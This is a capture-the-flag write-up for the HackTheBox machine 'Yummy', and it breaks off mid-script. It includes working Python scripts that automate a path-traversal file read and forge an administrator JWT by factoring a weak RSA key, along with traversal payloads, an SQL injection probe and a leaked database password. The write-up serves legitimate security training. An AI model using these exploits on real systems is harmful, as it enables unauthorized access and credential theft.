Yummy – HackTheBox Link to heading
- OS: Linux
- Difficulty: Hard
- Platform: HackTheBox
![]()
Synopsis Link to heading
“Yummy” is a Hard machine from HackTheBox platform. The machine teaches how a Local File Inclusion from the main webpage allows to read sensitive files that could leak components that allow us to forge Jason Web Tokens with privileges. Additionally, we are able to exploit an SQL Injection that allow us to write files in the victim machine and gain access to it through cronjobs. This machine also teaches how to execute commands using Mercurial and RSync applications in a Linux system, and how they can be used to escalate privileges.
User Link to heading
Nmap scan shows only 2 ports open: 22 SSH and 80 HTTP:
❯ sudo nmap -sVC -p22,80 10.10.11.36
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 23:37 -03
Nmap scan report for 10.10.11.36
Host is up (0.48s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.86 seconds
From the scan we can see a domain: yummy.htb. We add this domain to our /etc/hosts:
❯ echo '10.10.11.36 yummy.htb' | sudo tee -a /etc/hosts
Using WhatWeb over this site shows a contact email info@yummt.htb and it is running Caddy:
❯ whatweb -a 3 http://yummy.htb
http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.10.11.36], Lightbox, Script, Title[Yummy]
Searching info about Caddy we reach its oficial webpage (which is also open source):
Caddy is a powerful, extensible platform to serve your sites, services, and apps, written in Go.Visiting http://yummy.htb shows a restaurant webpage:

At the top bar we can see Register and Login options. We create an account and log in. The site now shows displays about reservations:

Clicking on Book a table at the top right of the site redirects to a form to book a reservation:

If we create a simple reservation now it is displayed in the main dashboard of our user:

Clicking on Cancel reservation deletes the reservation and clicking on Save ICalendar generates a file. We download this file and inspect it:
❯ file Yummy_reservation_20241101_030237.ics
Yummy_reservation_20241101_030237.ics: iCalendar calendar file
We can view this file in an Online iCalendar viewer and upload the file. The file itself does not give much info:

We will then start Burpsuite and intercept the request sent when we click on Save iCalendar. We get the request:
GET /reminder/22 HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyREzQ.RctjGk1UAFWqI_V76AoK7I2C95s
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/dashboard
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
It is requesting a file using a Jason Web Token (or JWT).
Inspecting this JWT in https://jwt.io/ shows:

But we don’t have much to modify this token.
Back to the response we got with Burpsuite when we clicked on Save iCalendar, we right click on it and select the options Do Intercept > Response to this request (and ensure this is being sent through HTTP instead of HTTPs). Eventually we get the response:
GET /export/Yummy_reservation_20241101_031837.ics HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
We then send a request to /export/../../../../../../../../../../etc/passwd, so the request is now:
GET /export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
We download a file named passwd. Checking its content we have:
❯ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false
We have reached a Local File Inclusion (or LFI).
We have 3 users: root, dev and qa:
❯ cat passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
qa:x:1001:1001::/home/qa:/bin/bash
To automatize this process we create a Python script that will exploit this Local File Inclusion:
from datetime import datetime
from urllib.parse import urlencode, quote
import sys
import requests
import argparse
import random
import string
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"}
def parse_arguments():
"""
Get user flags
"""
parser = argparse.ArgumentParser(description="Automation for 'Local File Inclusion' in HTB Yummy machine.")
parser.add_argument("-e", "--email", required=True, type=str, help="Email to register for authentication in 'HTB Yummy' webpage.")
parser.add_argument("-u", "--username", required=True, type=str, help="Username to make the reservation in 'HTB Yummy' page.")
parser.add_argument("-p", "--password", required=True, type=str, help="Password for authentication in 'HTB Yummy' webpage.")
parser.add_argument("-f", "--local-file", required=True, type=str, help="File to read through Local File Inclusion vulnerability. Must be an absolute path. Example: /etc/passwd")
parser.add_argument("--create-account", action="store_true", help="Create an account in 'HTB Yummy' webpage if it has not been already created.")
return parser.parse_args()
def create_account(args: argparse.Namespace)->None:
"""
Create an account in 'HTB Yummy' webpage (if it has not already been created)
"""
if not '@' in args.email:
print("[-] Not a valid email. Try, for example: user@domain.com")
sys.exit(1)
register_url = 'http://yummy.htb/register'
json_data = {"email": args.email, "password": args.password}
create_account_request = requests.post(url=register_url, headers=headers, json=json_data)
if 'Invalid' in create_account_request.text:
print("[-] Username already exists.")
sys.exit(1)
print(f"[+] Account created with email {args.email!r} and password {args.password!r}")
return
def get_encoded_time()->str:
"""
Get encoded current time in minutes
"""
current_time = datetime.now().strftime("%H:%M")
return str(urlencode({"time": current_time}).split('=')[1])
def create_booking(args: argparse.Namespace)->None:
booking_url = 'http://yummy.htb/book'
today_date = datetime.today().strftime('%Y-%m-%d')
length_booking: int = 6
booking_name: str = f"Booking ID {''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length_booking))}"
data={'name': args.username,'email': args.email,'phone':'9999999999','date': today_date,'time':get_encoded_time(),'people':'1','message': booking_name}
request_booking = requests.post(url=booking_url, headers=headers, data=data)
if request_booking.status_code != 200:
print(f"[-] Bad status code: {request_booking.status_code!r}")
sys.exit(1)
print(f"[+] Booking created as {booking_name!r}")
return
def read_file_LFI(args: argparse.Namespace) -> None:
"""
Execute LFI
"""
# Get session
login_url: str = 'http://yummy.htb/login'
session = requests.Session()
json_data = {"email": args.email, "password": args.password}
_ = session.post(url=login_url, headers=headers, json=json_data)
# Set payloads. Use 'safe' to urlencode '/'
file_to_read: str = quote('../../../../../../../../../..' + args.local_file, safe='')
lfi_url: str = 'http://yummy.htb/export/' + file_to_read
# Get into dashboard
dashboard_url: str = 'http://yummy.htb/dashboard'
_ =session.get(url=dashboard_url, headers=headers)
# Visit reminder page, as shown bu Burp
reminder_url = 'http://yummy.htb/reminder/21'
_ = session.get(url=reminder_url, headers=headers, allow_redirects=False)
# Execute LFI
print(f"[+] Making http request to {lfi_url!r}")
lfi_req = session.get(url=lfi_url, headers=headers, allow_redirects=False)
print(f'[+] Output obtained:\n\n' + lfi_req.text)
def main()->None:
# Get user arguments
args: argparse.Namespace = parse_arguments()
# If a user has not already been created (and if requested), create a user
if args.create_account:
create_account(args)
# Create a random booking
create_booking(args)
# Execute LFI
read_file_LFI(args)
if __name__ == "__main__":
main()
And now just execute it:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd'
[+] Booking created as 'Booking ID KMgA4h'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
[+] Output obtained:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
<SNIP>
The script works.
Around every ~10 minutes our user account is deleted. If this happens, when we execute the payload above, we should get a message about Redirecting to the main page, even if we execute this payloads multiple times. If this happens, we need to create our user again. For this we can use --create-account flag in the script, so in that case we should execute, for example:
❯ python3 exploit.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd' --create-account
dev or qa users have SSH keys exposed, but we are not able to find any.After checking many paths from this list one that is one of the first ones works:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/crontab'
[+] Booking created as 'Booking ID T9ZLgf'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fcrontab'
[+] Output obtained:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
We are able to find some info at /etc/crontab. We have 3 scripts running: app_backup.sh, table_cleanup.sh and dbmonitor.sh. All located at /data/scripts directory.
Since /data/scripts/app_backup.sh is being run by www-data, I assume we should be able to read this file. Reading it shows:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/app_backup.sh'
[+] Booking created as 'Booking ID e2Zgbp'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fscripts%2Fapp_backup.sh'
[+] Output obtained:
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
It is making a copy of /opt/app and storing it into /var/www/backupapp.zip. If we attempt to read this file it is too big to be displayed, even if we attempt to base64 its content. Since there is an /opt/app directory, we usually have app.py file inside this directory (usually for web servers using Flask). Therefore, attempting to read this file works:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/opt/app/app.py'
[+] Booking created as 'Booking ID 7QP4D4'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fapp%2Fapp.py'
[+] Output obtained:
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
<SNIP>
As we thought, there is a file running Flask.
After reading the script, here are some interesting parts:
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}
This password does not work for dev or qa user through SSH.
We also can see the functions:
def validate_login():
try:
(email, current_role), status_code = verify_token()
if email and status_code == 200 and current_role == "administrator":
return current_role
elif email and status_code == 200:
return email
else:
raise Exception("Invalid token")
except Exception as e:
return None
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
return redirect(url_for('admindashboard'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])
finally:
connection.close()
Basically, if we are administrator user this should redirect us to admindashboard path.
Also, we can see the part where JWTs are forged:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s AND password=%s"
cursor.execute(sql, (email, password2))
user = cursor.fetchone()
if user:
payload = {
'email': email,
'role': user['role_id'],
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
}
access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
response = make_response(jsonify(access_token=access_token), 200)
response.set_cookie('X-AUTH-Token', access_token)
return response
else:
return jsonify(message="Invalid email or password"), 401
It is using signature library. Searching for this at the headers we can see is is a function being imported:
from config import signature
It seems to be a custom library for the script.
Therefore, we attempt to read /opt/app/config/signature.py and we get the script:
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
To see the generated signature generated I will copy this code into my attacker machine, but slightly modify it to print the generated token. Additionally, we need to create a virtual environment and install all the needed libraries into it. First things first, create the virtual environment and install all the needed libraries to craft a JWT token there (and some others that we might need later):
❯ python3 -m venv .venv_signature
❯ source .venv_signature/bin/activate
❯ pip3 install PyJWT cryptography sympy pycryptodome requests
We can know easily if this worked just copying signature.py into our attacker machine and executing it. If we see no errors then we are good to go.
We will then copy signature.py into a new file named modified_signature.py and create a new JWT token based on the structure provided by https://jwt.io/ when we passed our user token. Therefore, modified_signature.py script looks like:
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# Added payload, forge JWT token based on our user token
payload ={
'email':'gunzf0x@gunzf0x.htb', # email really does not matter, since 'app.py' will just validate the role
'role':'administrator', # set 'administrator' role, as found in 'app.py'
'iat':int(datetime.now(timezone.utc).timestamp()),
'exp':int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp()),
'jwk':{ # add items in JWT
'kty':'RSA',
'n': key_data['n'],
'e': key_data['e']
}
}
# Create the token
jwt_token = jwt.encode(payload, private_key, algorithm='RS256')
# Print the generated token
print(f"[+] Generated JWT token:\n\n{jwt_token}")
executing it apparently works:
❯ python3 modified_signature.py
[+] Generated JWT token:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTczMDQ0MDg2NywiZXhwIjoxNzQzNTgwODY3LCJqd2siOnsia3R5IjoiUlNBIiwibiI6MTA4NzIyODQ1ODQ3OTUzMzQ0MzM0MzEwMjM1MDczOTc2MTYzMTU2NjQ1NDk2NTU4NDYzNjE2OTY2Mzk1MDc4NTEzNTk0NDMyOTgzNjg4OTM1ODA0MTMyOTA5MDkyNTAzOTczODc1MzYzMjgyMzY1MDQyMTkzNDQxMDM3MTAyNjMyODU0OTEzNjI4NjIzMjUxMDE0ODg4ODQ4MDE1MzMxNzExNjEzODAzNTY4NTY4MzgxODY4MDQ0NTQ3MDUwNTE5MTY3MjAzMzIxNDY2NTE3NTU5MTk5MTQ1NTgwMDA2NTE2NjIyMjI4NTc2NjY5NTE5ODAyMTE3MDUwMjM4NTM0MTU0MDQ1MzY1Mjc2NTM1NjcwNjY5MDMxMjk1NjMyNTMxNzEyNTg0ODE3NDMwNDYxMjE5MjQ3ODY1ODA5LCJlIjo2NTUzN319.BMquF3lVzvcOHUaiUG-hX-B66gJpPgRGTksX8JWSn3F1aIurTNSd-kUF4uwvOzIMd9DJJgOMB0USkdzgsb2nJDbGn0GWFAnZ9Pu2fWQ8qsNwdYjSO0_xBz99sjkzGBlWBsaIxiH9c6BUCKRzIpmNlCcg0vRbUO7MScAocV7pvNa32eg
Copy this token, go to http://yummt.htb webpage and pass this JWT token:

However, this token does not seems to work. Why? After some time I realized that the “private key” is generated in my server, whereas the key used by the server is, of course, generated in it.
Basically, we have a problem: it is a JWT using RSA algorithm (an assymetric algorithm); not HS256 (a symmetric algorithm) as we usually find for JWTs. We need n number and the unique pair p and q that corresponds to it. We can find this n using the generated token for our created user. So we re-order our code to generate a token and then extract the correct numbers from the generated key. I will not explain the whole theory behind RSA, but more info can be found here. We need to generate a new JWT token based on one extracted from the target machine. The plan is simple:
- Create a new account (so the ticket will not expire soon) and extract its
JWTfrom our web browser. - Modify this ticket and craft one with
administratorrole. - Use this ticket to access
/admindashboardpath. For this I create again aPythonscript that accepts as argument aJWT:
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt
import requests
import argparse
import sys
import json
def parse_arguments():
"""
Get user flags
"""
parser = argparse.ArgumentParser(description="Creates a JWT for 'HTB Yummy' machine.")
parser.add_argument("-t", "--token", required=True, type=str, help="Jason Web Token extracted from 'HTB Yummy'.")
parser.add_argument("--check-cookie", action="store_true", help="Check if generated cookie works.")
return parser.parse_args()
def get_numbers_from_original_token(token):
# Decode the JWT token
try:
# Decode without verifying the signature (just for extracting values)
headers = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
# Print the headers and payload
print(70*"=")
print(25*' ' + "Original JWT Info")
print(70*"=")
print("Header:")
print(json.dumps(headers, indent=2))
print("\nPayload:")
print(json.dumps(payload, indent=2))
# Extract the "n" and "e" value from JWT (if available)
jwk = payload.get('jwk')
if jwk:
return int(jwk.get('n')), int(jwk.get('e'))
else:
print("[-] 'n' not found in token.")
sys.exit(1)
except jwt.ExpiredSignatureError:
print("[-] The token has expired.")
except jwt.InvalidTokenError:
print("[-] Invalid token.")
sys.exit(1)
def get_numbers(token, n, e):
factors = sympy.factorint(n)
for factor, exponent in factors.items():
# Find numbers
print(f"[+] Factor: {factor}, exponent: {exponent}")
p, q = 0, 0
if len(factors) == 2:
p, q = factors.keys()
print(f"[+] Found numbers: p = {p}, q = {q}")
phi_n = (p -1)*(q -1)
d = pow(e,-1, phi_n)
key_data ={'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
# Generate the key new with the numbers
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# Modify original token data
original_token_data = jwt.decode(token, public_key, algorithms=["RS256"])
original_token_data["role"]="administrator"
original_token_data["exp"]=int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp())
# Forge the new token
new_jwt_token = jwt.encode(original_token_data, private_key, algorithm='RS256')
return new_jwt_token
def check_if_cookie_works(jwt_token):
url = 'http://yummy.htb/admindashboard'
cookies = {'X-AUTH-Token' : jwt_token}
# Make the request
r = requests.get(url, cookies=cookies, allow_redirects=False)
if r.status_code != 200:
print(f"[-] Invalid status code {r.status_code!r}")
return
if '/login' in r.text:
print("[-] Cookie generated does not seems to work.")
return
print(f"[+] JWT seems to work in {url!r}!")
def main()->None:
# Get token from user
args: argparse.Namespace = parse_arguments()
# Get 'n' and 'e' from JWT obtained from 'HTB Yummy' machine
n, e = get_numbers_from_original_token(args.token)
# Modify original token
new_token = get_numbers(args.token, n, e)
# Print the result
print(f"[+] Generated JWT token:\n\n{new_token}\n")
# Check if the cookie works sending it to the target machine
check_if_cookie_works(new_token)
if __name__ == "__main__":
main()
We execute it:
❯ python3 modify_original_token.py -t 'eyJhbGc<SNIP>94gzOkXs'
======================================================================
Original JWT Info
======================================================================
Header:
{
"alg": "RS256",
"typ": "JWT"
}
<SNIP>
ey<SNIP>FXjG0vk
[+] JWT seems to work in 'http://yummy.htb/admindashboard'!
jwt.exceptions.ExpiredSignatureError: Signature has expired in the script this means we need to create a new user, extract its JWT and use it on the script ASAP.Using this cookie and visiting http://yummy.htb/admindashboard works. We can now see some new requests:

We note that we can search by email. If I search by something really simple as test we are redirected to http://yummy.htb/admindashboard?s=test&o=ASC. But if we search for something like:
http://yummy.htb/admindashboard?s=test&o=ASC%27%20or%201=1--%20-
in the url, the page shows an error:

Seems to be a SQL Injection.
Back to our LFI script, I remember we had some files for MySQL. Checking them:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/table_cleanup.sh'
shows:
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
And checking /data/scripts/sqlappointments.sql shows:
TRUNCATE table users;
TRUNCATE table appointments;
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisjohnson@email.net", "Chris Johnson", "2024-05-25", "11:45", "2", "No allergies, prefer table by the window", "customer");
<SNIP>
So this is the cronjob deleting users every 15 minutes.
And /data/scripts/dbmonitor.sh script, the other script, shows:
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
